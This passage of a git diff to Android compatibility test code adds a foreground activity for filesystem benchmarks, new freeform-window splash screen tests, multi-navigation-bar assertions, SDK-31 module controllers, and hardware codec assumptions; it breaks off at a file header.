http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.filesystem.cts; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import androidx.test.InstrumentationRegistry; + +/** + * A simple activity to stay foreground context. + */ +public class FileActivity extends Activity { + private static final String PACKAGE_NAME = "android.filesystem.cts"; + + public static void startFileActivity(Context context) { + final Intent intent = new Intent(); + intent.setComponent(new ComponentName(PACKAGE_NAME, FileActivity.class.getName())); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + } +} diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java index 9f05994832e..10170812a74 100644 --- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java +++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java @@ -65,6 +65,7 @@ public class RandomRWTest { if (fileSize == 0) { // not enough space, give up return; } + FileActivity.startFileActivity(getContext()); String streamName = "test_random_read"; DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName); double mbps = FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize, @@ -86,6 +87,7 @@ public class RandomRWTest { while (usableSpace < fileSize) { fileSize = fileSize / 2; } + FileActivity.startFileActivity(getContext()); String streamName = "test_random_update"; DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName); double mbps = -1; diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java index 269861c1ed9..a3e6f834634 100644 --- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java +++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java @@ -78,6 +78,7 @@ public class SequentialRWTest { if (fileSize == 0) { // not enough space, give up return; } + FileActivity.startFileActivity(getContext()); final int numberOfFiles =(int)(fileSize / BUFFER_SIZE); String streamName = "test_single_sequential_write"; DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName); @@ -115,6 +116,7 @@ public class SequentialRWTest { if (fileSize == 0) { // not enough space, give up return; } + FileActivity.startFileActivity(getContext()); final int NUMBER_REPETITION = 3; String streamName = "test_single_sequential_update"; FileUtil.doSequentialUpdateTest(getContext(), DIR_SEQ_UPDATE, fileSize, BUFFER_SIZE, @@ -128,6 +130,7 @@ public class SequentialRWTest { if (fileSize == 0) { // not enough space, give up return; } + FileActivity.startFileActivity(getContext()); long start = System.currentTimeMillis(); final File file = FileUtil.createNewFilledFile(getContext(), DIR_SEQ_RD, fileSize); diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml index f0f40a69772..287e67cb003 100644 --- a/tests/framework/base/windowmanager/AndroidManifest.xml +++ b/tests/framework/base/windowmanager/AndroidManifest.xml @@ -366,7 +366,7 @@ android:theme="@style/no_starting_window"/> <activity android:name="android.server.wm.WindowFocusTests$PrimaryActivity"/> <activity android:name="android.server.wm.WindowFocusTests$SecondaryActivity" - android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"/> + android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/> <activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity"/> <activity android:name="android.server.wm.WindowFocusTests$AutoEngagePointerCaptureActivity" /> <activity android:name="android.server.wm.WindowMetricsActivityTests$MetricsActivity" diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml index 72a5aac43c4..1d3a0c0f3d9 100755 --- a/tests/framework/base/windowmanager/app/AndroidManifest.xml +++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml @@ -601,15 +601,19 @@ <activity android:name=".HideOverlayWindowsActivity" android:exported="true"/> <activity android:name=".BackgroundImageActivity" android:theme="@style/BackgroundImage" + android:colorMode="wideColorGamut" android:exported="true"/> <activity android:name=".BlurActivity" android:exported="true" + android:colorMode="wideColorGamut" android:theme="@style/TranslucentDialog"/> <activity android:name=".BlurAttributesActivity" android:exported="true" + android:colorMode="wideColorGamut" android:theme="@style/BlurryDialog"/> <activity android:name=".BadBlurActivity" android:exported="true" + android:colorMode="wideColorGamut" android:theme="@style/BadBlurryDialog"/> <!-- Splash Screen Test Activities --> diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java index 9099c67b2f0..dbfef28aca3 100644 --- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java +++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java @@ -89,11 +89,10 @@ public class ExtensionTest extends JetpackExtensionTestBase { @Override public void setUp() throws Exception { super.setUp(); + ExtensionUtils.assumeSupportedDevice(mContext); // Launch activity after the ActivityManagerTestBase clean all package states. mActivity = mActivityTestRule.launchActivity(new Intent()); - ExtensionUtils.assumeSupportedDevice(mActivity); - mExtension = ExtensionUtils.getInterfaceCompat(mActivity); assertThat(mExtension).isNotNull(); mWindowToken = getActivityWindowToken(mActivity); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java index c0cd1459e1b..23e47c2a87d 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java @@ -344,10 +344,10 @@ public class BlurTests extends WindowManagerTestBase { for (int y = 0; y < height; y++) { if (x < blueWidth) { ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")", - Color.BLUE, screenshot.getPixel(x, y), 0); + Color.BLUE, screenshot.getPixel(x, y), 1); } else { ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")", - Color.RED, screenshot.getPixel(x, y), 0); + Color.RED, screenshot.getPixel(x, y), 1); } } } @@ -374,20 +374,20 @@ public class BlurTests extends WindowManagerTestBase { for (int y = 0; y < screenshot.getHeight(); y++) { if (x < windowFrame.left) { ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")", - Color.BLUE, screenshot.getPixel(x, y), 0); + Color.BLUE, screenshot.getPixel(x, y), 1); } else if (x < screenshot.getWidth() / 2) { if (y < windowFrame.top || y > windowFrame.bottom) { ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")", - Color.BLUE, screenshot.getPixel(x, y), 0); + Color.BLUE, screenshot.getPixel(x, y), 1); } } else if (x <= windowFrame.right) { if (y < windowFrame.top || y > windowFrame.bottom) { ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")", - Color.RED, screenshot.getPixel(x, y), 0); + Color.RED, screenshot.getPixel(x, y), 1); } } else if (x > windowFrame.right) { ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")", - Color.RED, screenshot.getPixel(x, y), 0); + Color.RED, screenshot.getPixel(x, y), 1); } } @@ -398,7 +398,7 @@ public class BlurTests extends WindowManagerTestBase { for (int y = windowFrame.top; y < windowFrame.bottom; y++) { for (int x = windowFrame.left; x < windowFrame.right; x++) { ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")", - NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 0); + NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 1); } } } @@ -420,7 +420,7 @@ public class BlurTests extends WindowManagerTestBase { for (int y = startHeight; y < endHeight; y++) { ColorUtils.verifyColor( "failed for pixel (x, y) = (" + unaffectedBluePixelX + ", " + y + ")", - Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 0); + Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 1); previousColor = Color.valueOf(Color.BLUE); for (int x = blurAreaStartX; x < blurAreaEndX; x += stepSize) { currentColor = screenshot.getColor(x, y); @@ -437,7 +437,7 @@ public class BlurTests extends WindowManagerTestBase { } ColorUtils.verifyColor( "failed for pixel (x, y) = (" + unaffectedRedPixelX + ", " + y + ")", - Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 0); + Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 1); } } diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java index b03e45330e0..42139843c7e 100755 --- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java @@ -604,7 +604,6 @@ public class KeyguardTests extends KeyguardTestBase { mWmState.waitForKeyguardGone(); mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, true); assertFalse(mWmState.getKeyguardControllerState().keyguardShowing); - assertOnDismissSucceeded(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY); assertTrue(isDisplayOn(DEFAULT_DISPLAY)); } diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java index 1c871471406..22d449c61ca 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java @@ -837,10 +837,12 @@ public class MultiDisplayPolicyTests extends MultiDisplayTestBase { mWmState.getResumedActivitiesCountInPackage( SDK_27_LAUNCHING_ACTIVITY.getPackageName())); + // Start SeparateProcessActivity in the same task as LaunchingActivity by setting + // allowMultipleInstances to false, and the TestActivity should be resumed. getLaunchActivityBuilder().setUseInstrumentation() .setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY).setNewTask(true) .setDisplayId(DEFAULT_DISPLAY).setWindowingMode(WINDOWING_MODE_FULLSCREEN) - .execute(); + .allowMultipleInstances(false).execute(); waitAndAssertTopResumedActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY, DEFAULT_DISPLAY, "Activity launched on default display must be resumed and focused"); assertTrue("Activity that was on secondary display must be resumed", diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java index 63526cfca47..8f2483cd1ca 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java @@ -87,6 +87,7 @@ import org.junit.Test; import java.util.List; import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; /** * Build/Install/Run: @@ -276,11 +277,13 @@ public class MultiDisplaySystemDecorationTests extends MultiDisplayTestBase { assertEquals("The number of nav bars should be the same", expected.size(), result.size()); - // Nav bars should show on the same displays - for (int i = 0; i < expected.size(); i++) { - final int expectedDisplayId = expected.get(i).getDisplayId(); - mWmState.waitAndAssertNavBarShownOnDisplay(expectedDisplayId); - } + mWmState.getDisplays().forEach(displayContent -> { + List<WindowState> navWindows = expected.stream().filter(ws -> + ws.getDisplayId() == displayContent.mId) + .collect(Collectors.toList()); + + mWmState.waitAndAssertNavBarShownOnDisplay(displayContent.mId, navWindows.size()); + }); } // Secondary Home related tests diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java index bd700520eb5..a56b0227d49 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java @@ -20,6 +20,8 @@ import static android.app.UiModeManager.MODE_NIGHT_AUTO; import static android.app.UiModeManager.MODE_NIGHT_CUSTOM; import static android.app.UiModeManager.MODE_NIGHT_NO; import static android.app.UiModeManager.MODE_NIGHT_YES; +import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM; +import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN; import static android.content.Intent.ACTION_MAIN; import static android.content.Intent.CATEGORY_HOME; import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; @@ -144,7 +146,19 @@ public class SplashscreenTests extends ActivityManagerTestBase { // applied insets by system bars in AAOS. assumeFalse(isCar()); - launchActivityNoWait(SPLASHSCREEN_ACTIVITY); + launchActivityNoWait(SPLASHSCREEN_ACTIVITY, WINDOWING_MODE_FULLSCREEN); + // The windowSplashScreenContent attribute is set to RED. We check that it is ignored. + testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLUE, Color.WHITE); + } + + @Test + public void testSplashscreenContent_FreeformWindow() { + // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly + // applied insets by system bars in AAOS. + assumeFalse(isCar()); + assumeTrue(supportsFreeform()); + + launchActivityNoWait(SPLASHSCREEN_ACTIVITY, WINDOWING_MODE_FREEFORM); // The windowSplashScreenContent attribute is set to RED. We check that it is ignored. testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLUE, Color.WHITE); } @@ -153,6 +167,9 @@ public class SplashscreenTests extends ActivityManagerTestBase { // Activity may not be launched yet even if app transition is in idle state. mWmState.waitForActivityState(name, STATE_RESUMED); mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY); + boolean isFullscreen = mWmState.getTaskByActivity(name).isWindowingModeCompatible( + WINDOWING_MODE_FULLSCREEN); + final Bitmap image = takeScreenshot(); final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics(); final Rect stableBounds = new Rect(windowMetrics.getBounds()); @@ -173,12 +190,9 @@ public class SplashscreenTests extends ActivityManagerTestBase { Rect topInsetsBounds = new Rect(insets.left, 0, appBounds.right - insets.right, insets.top); Rect bottomInsetsBounds = new Rect(insets.left, appBounds.bottom - insets.bottom, appBounds.right - insets.right, appBounds.bottom); - assertFalse("Top insets bounds rect is empty", topInsetsBounds.isEmpty()); - assertFalse("Bottom insets bounds rect is empty", bottomInsetsBounds.isEmpty()); - if (appBounds.isEmpty()) { - fail("Couldn't find splash screen bounds. Impossible to assert the colors"); - } + assertFalse("Couldn't find splash screen bounds. Impossible to assert the colors", + appBounds.isEmpty()); // Use ratios to flexibly accommodate circular or not quite rectangular displays // Note: Color.BLACK is the pixel color outside of the display region @@ -191,8 +205,13 @@ public class SplashscreenTests extends ActivityManagerTestBase { appBounds.intersect(stableBounds); assertColors(image, appBounds, primaryColor, 0.99f, secondaryColor, 0.02f, ignoreRect); - assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null); - assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null); + if (isFullscreen && !topInsetsBounds.isEmpty()) { + assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null); + } + if (isFullscreen && !bottomInsetsBounds.isEmpty()) { + assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, + null); + } } // For real devices, gamma correction might be applied on hardware driver, so the colors may @@ -385,7 +404,20 @@ public class SplashscreenTests extends ActivityManagerTestBase { // applied insets by system bars in AAOS. assumeFalse(isCar()); - launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, extraBool(DELAY_RESUME, true)); + launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, WINDOWING_MODE_FULLSCREEN, + extraBool(DELAY_RESUME, true)); + testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.WHITE); + } + + @Test + public void testSetBackgroundColorActivity_FreeformWindow() { + // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly + // applied insets by system bars in AAOS. + assumeFalse(isCar()); + assumeTrue(supportsFreeform()); + + launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, WINDOWING_MODE_FREEFORM, + extraBool(DELAY_RESUME, true)); testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.WHITE); } diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java index 0b423604ded..024ea1770d1 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java @@ -290,7 +290,6 @@ public class WindowFocusTests extends WindowManagerTestBase { DEFAULT_DISPLAY); final InvisibleVirtualDisplaySession session = createManagedInvisibleDisplaySession(); - final int secondaryDisplayId = session.getDisplayId(); final SecondaryActivity secondaryActivity = session.startActivityAndFocus(); // Secondary display disconnected. session.close(); diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java index 388095cda60..ba34d1785d9 100644 --- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java +++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java @@ -83,6 +83,7 @@ import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.Arrays; import java.util.List; +import java.util.Objects; import java.util.function.Consumer; import java.util.function.Predicate; import java.util.stream.Collectors; @@ -966,17 +967,18 @@ public class WindowManagerState { .collect(Collectors.toList()); } - WindowState getAndAssertSingleNavBarWindowOnDisplay(int displayId) { - List<WindowState> navWindow = getMatchingWindows(ws -> - WindowManagerState.isValidNavBarType(ws) && ws.getDisplayId() == displayId) + @Nullable + List<WindowState> getAndAssertNavBarWindowsOnDisplay(int displayId, int expectedNavBarCount) { + List<WindowState> navWindows = getMatchingWindows(ws -> isValidNavBarType(ws) + && ws.getDisplayId() == displayId) + .filter(Objects::nonNull) .collect(Collectors.toList()); - // We may need some time to wait for nav bar showing. - // It's Ok to get 0 nav bar here. - assertTrue("There should be at most one navigation bar on a display", - navWindow.size() <= 1); + // It's Ok to get less that expected nav bars here. + assertTrue("There should be at most expectedNavBarCount navigation bar on a display", + navWindows.size() <= expectedNavBarCount); - return navWindow.isEmpty() ? null : navWindow.get(0); + return navWindows.size() == expectedNavBarCount ? navWindows : null; } WindowState getWindowStateForAppToken(String appToken) { diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java index 0a70d013cc3..458d7857461 100644 --- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java +++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java @@ -272,10 +272,17 @@ public class WindowManagerStateHelper extends WindowManagerState { "app transition idle on Display " + displayId); } - public void waitAndAssertNavBarShownOnDisplay(int displayId) { - assertTrue(waitForWithAmState( - state -> state.getAndAssertSingleNavBarWindowOnDisplay(displayId) != null, - "navigation bar #" + displayId + " show")); + void waitAndAssertNavBarShownOnDisplay(int displayId) { + waitAndAssertNavBarShownOnDisplay(displayId, 1 /* expectedNavBarCount */); + } + + void waitAndAssertNavBarShownOnDisplay(int displayId, int expectedNavBarCount) { + assertTrue(waitForWithAmState(state -> { + List<WindowState> navWindows = state + .getAndAssertNavBarWindowsOnDisplay(displayId, expectedNavBarCount); + + return navWindows != null; + }, "navigation bar #" + displayId + " show")); } public void waitAndAssertKeyguardShownOnSecondaryDisplay(int displayId) { diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml index 93a2b76e479..3dc2bdb503c 100644 --- a/tests/libcore/jsr166/AndroidTest.xml +++ b/tests/libcore/jsr166/AndroidTest.xml @@ -54,4 +54,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml index 2173c92b487..8fcaaab19c3 100644 --- a/tests/libcore/luni/AndroidTest.xml +++ b/tests/libcore/luni/AndroidTest.xml @@ -80,4 +80,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml index 86e04f6192e..f929c4bd4b4 100644 --- a/tests/libcore/ojluni/AndroidTest.xml +++ b/tests/libcore/ojluni/AndroidTest.xml @@ -58,4 +58,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml index 8219e38ce64..c3e97a4b258 100644 --- a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml +++ b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml @@ -56,4 +56,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml index b0471d01f3c..dce14b56515 100644 --- a/tests/libcore/wycheproof-bc/AndroidTest.xml +++ b/tests/libcore/wycheproof-bc/AndroidTest.xml @@ -52,4 +52,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java index dcaee4fb7bf..1be37c3df22 100644 --- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java +++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java @@ -18,6 +18,7 @@ package android.location.cts.fine; import static android.Manifest.permission.WRITE_SECURE_SETTINGS; import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE; +import static android.content.pm.PackageManager.FEATURE_TELEVISION; import static android.location.LocationManager.EXTRA_PROVIDER_ENABLED; import static android.location.LocationManager.EXTRA_PROVIDER_NAME; import static android.location.LocationManager.FUSED_PROVIDER; @@ -264,8 +265,6 @@ public class LocationManagerFineTest { @Test public void testGetCurrentLocation_Timeout() throws Exception { - Location loc = createLocation(TEST_PROVIDER, mRandom); - try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) { mManager.getCurrentLocation( TEST_PROVIDER, @@ -665,8 +664,9 @@ public class LocationManagerFineTest { @Test public void testRequestLocationUpdates_BatterySaver_GpsDisabledScreenOff() throws Exception { - // battery saver is unsupported on auto + // battery saver is unsupported on auto and tv assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE)); + assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION)); PowerManager powerManager = Objects.requireNonNull( mContext.getSystemService(PowerManager.class)); @@ -725,8 +725,9 @@ public class LocationManagerFineTest { @Test public void testRequestLocationUpdates_BatterySaver_AllDisabledScreenOff() throws Exception { - // battery saver is unsupported on auto + // battery saver is unsupported on auto and tv assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE)); + assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION)); PowerManager powerManager = Objects.requireNonNull( mContext.getSystemService(PowerManager.class)); @@ -766,8 +767,9 @@ public class LocationManagerFineTest { @Test public void testRequestLocationUpdates_BatterySaver_ThrottleScreenOff() throws Exception { - // battery saver is unsupported on auto + // battery saver is unsupported on auto and tv assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE)); + assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION)); PowerManager powerManager = Objects.requireNonNull( mContext.getSystemService(PowerManager.class)); @@ -1007,7 +1009,7 @@ public class LocationManagerFineTest { @Test public void testRequestFlush_Gnss() throws Exception { - assumeTrue(mManager.getAllProviders().contains(GPS_PROVIDER)); + assumeTrue(mManager.hasProvider(GPS_PROVIDER)); try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) { mManager.requestLocationUpdates(GPS_PROVIDER, 0, 0, diff --git a/tests/media/OWNERS b/tests/media/OWNERS index ad8bb0a393b..eba094cbca4 100644 --- a/tests/media/OWNERS +++ b/tests/media/OWNERS @@ -1,15 +1,11 @@ # Bug component: 1344 # include media developers and framework video team include platform/frameworks/av:/media/OWNERS -chz@google.com dichenzhang@google.com essick@google.com gokrishnan@google.com lajos@google.com -marcone@google.com -pawin@google.com wonsik@google.com -# LON -olly@google.com -andrewlewis@google.com +# go/android-fwk-media-solutions for info on areas of ownership. +include platform/frameworks/av:/media/janitors/media_solutions_OWNERS diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java index e3e3a2d357c..832127d29b3 100644 --- a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java +++ b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java @@ -56,6 +56,14 @@ public class CodecEncoderTest extends CodecEncoderTestBase { private static final String LOG_TAG = CodecEncoderTest.class.getSimpleName(); private int mNumSyncFramesReceived; private ArrayList<Integer> mSyncFramesPos; + private static ArrayList<String> mAdaptiveBitrateMimeList = new ArrayList<>(); + + static { + mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_AVC); + mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_HEVC); + mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP8); + mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9); + } public CodecEncoderTest(String encoder, String mime, int[] bitrates, int[] encoderInfo1, int[] encoderInfo2) { @@ -720,7 +728,8 @@ public class CodecEncoderTest extends CodecEncoderTestBase { @LargeTest @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS) public void testAdaptiveBitRate() throws IOException, InterruptedException { - Assume.assumeTrue(!mIsAudio); + Assume.assumeTrue("Skipping AdaptiveBitrate test for " + mMime, + mAdaptiveBitrateMimeList.contains(mMime)); setUpParams(1); boolean[] boolStates = {true, false}; setUpSource(mInputFile); @@ -798,7 +807,8 @@ public class CodecEncoderTest extends CodecEncoderTestBase { @LargeTest @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS) public void testAdaptiveBitRateNative() throws IOException { - Assume.assumeTrue(!mIsAudio); + Assume.assumeTrue("Skipping Native AdaptiveBitrate test for " + mMime, + mAdaptiveBitrateMimeList.contains(mMime)); int colorFormat = -1; { /* TODO(b/147574800) */ diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java index 61fe054a259..8598622cf4f 100644 --- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java +++ b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java @@ -50,6 +50,7 @@ import static android.mediapc.cts.CodecTestBase.selectCodecs; import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeFalse; import static org.junit.Assume.assumeTrue; /** @@ -69,9 +70,6 @@ public class EncoderInitializationLatencyTest { private static String AVC_DECODER_NAME; private static String AVC_ENCODER_NAME; static { - AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0); - AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0); - if (Utils.isRPerfClass()) { MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = 50; MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = 65; @@ -95,6 +93,14 @@ public class EncoderInitializationLatencyTest { @Before public void setUp() throws Exception { assumeTrue("Test requires performance class.", Utils.isPerfClass()); + ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false); + assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty()); + AVC_DECODER_NAME = listOfAvcHwDecoders.get(0); + + ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true); + assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty()); + AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0); + Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation(); Context context = instrumentation.getTargetContext(); PackageManager packageManager = context.getPackageManager(); diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java 